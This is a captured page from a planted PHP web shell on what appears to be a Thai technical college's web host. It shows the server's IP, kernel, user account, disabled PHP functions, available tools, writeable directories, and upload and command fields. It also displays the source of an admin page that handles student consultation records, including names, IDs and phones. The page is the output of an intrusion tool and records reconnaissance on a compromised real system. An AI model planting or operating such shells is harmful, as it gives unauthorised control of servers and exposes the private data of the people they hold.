403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/technicrayong.ac.th/public_html/rytc/tobe/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/technicrayong.ac.th/public_html/rytc/tobe/admin/consult_view.php
<?php
require_once __DIR__ . '/auth.php';
$id = (int)($_GET['id'] ?? 0);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $stmt = $pdo->prepare('UPDATE consultations SET status=?, admin_note=? WHERE id=?');
    $stmt->execute([$_POST['status'] ?? 'รอดำเนินการ', trim($_POST['admin_note'] ?? ''), $id]);
    redirect('consult_list.php?updated=1');
}
$stmt = $pdo->prepare('SELECT * FROM consultations WHERE id=?');
$stmt->execute([$id]);
$row = $stmt->fetch();
if (!$row) die('ไม่พบข้อมูล');
include __DIR__ . '/header.php';
?>
<div class="page-header"><div class="container"><h1 class="fw-bold">รายละเอียดคำปรึกษา</h1><p class="mb-0">ข้อมูลสำหรับผู้ดูแลระบบ</p></div></div>
<div class="container mb-5">
  <div class="row g-4">
    <div class="col-lg-7"><div class="content-card p-4"><h4 class="fw-bold mb-3">ข้อมูลนักเรียน</h4>
      <p><strong>ชื่อ:</strong> <?= e($row['fullname']) ?></p><p><strong>รหัส:</strong> <?= e($row['student_id']) ?></p><p><strong>ชั้น/ห้อง:</strong> <?= e($row['classroom']) ?></p><p><strong>โทร:</strong> <?= e($row['phone']) ?></p><p><strong>ช่องทางติดต่อ:</strong> <?= e($row['contact_channel']) ?></p><p><strong>เวลาสะดวก:</strong> <?= e($row['contact_time']) ?></p><p><strong>หัวข้อ:</strong> <?= e($row['topic']) ?></p><hr><p><strong>รายละเอียด:</strong><br><?= nl2br(e($row['detail'])) ?></p>
      <hr>
      <form method="post" action="consult_delete.php" onsubmit="return confirm('ยืนยันการลบข้อมูลคำปรึกษาของ <?= e($row['fullname']) ?> ?');">
        <input type="hidden" name="id" value="<?= (int)$row['id'] ?>">
        <button type="submit" class="btn btn-outline-danger rounded-pill"><i class="bi bi-trash"></i> ลบข้อมูลคำปรึกษานี้</button>
      </form>
    </div></div>
    <div class="col-lg-5"><div class="form-card"><h4 class="fw-bold mb-3">อัปเดตสถานะ</h4><form method="post"><div class="mb-3"><label class="form-label">สถานะ</label><select name="status" class="form-select"><?php foreach(['รอดำเนินการ','กำลังติดต่อ','ดำเนินการแล้ว'] as $s): ?><option <?= $row['status']===$s?'selected':'' ?>><?= e($s) ?></option><?php endforeach; ?></select></div><div class="mb-3"><label class="form-label">หมายเหตุผู้ดูแล</label><textarea name="admin_note" class="form-control" rows="6"><?= e($row['admin_note']) ?></textarea></div><button class="btn btn-gradient">บันทึก</button> <a href="consult_list.php" class="btn btn-outline-secondary rounded-pill">กลับ</a></form></div></div>
  </div>
</div>
<?php include __DIR__ . '/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit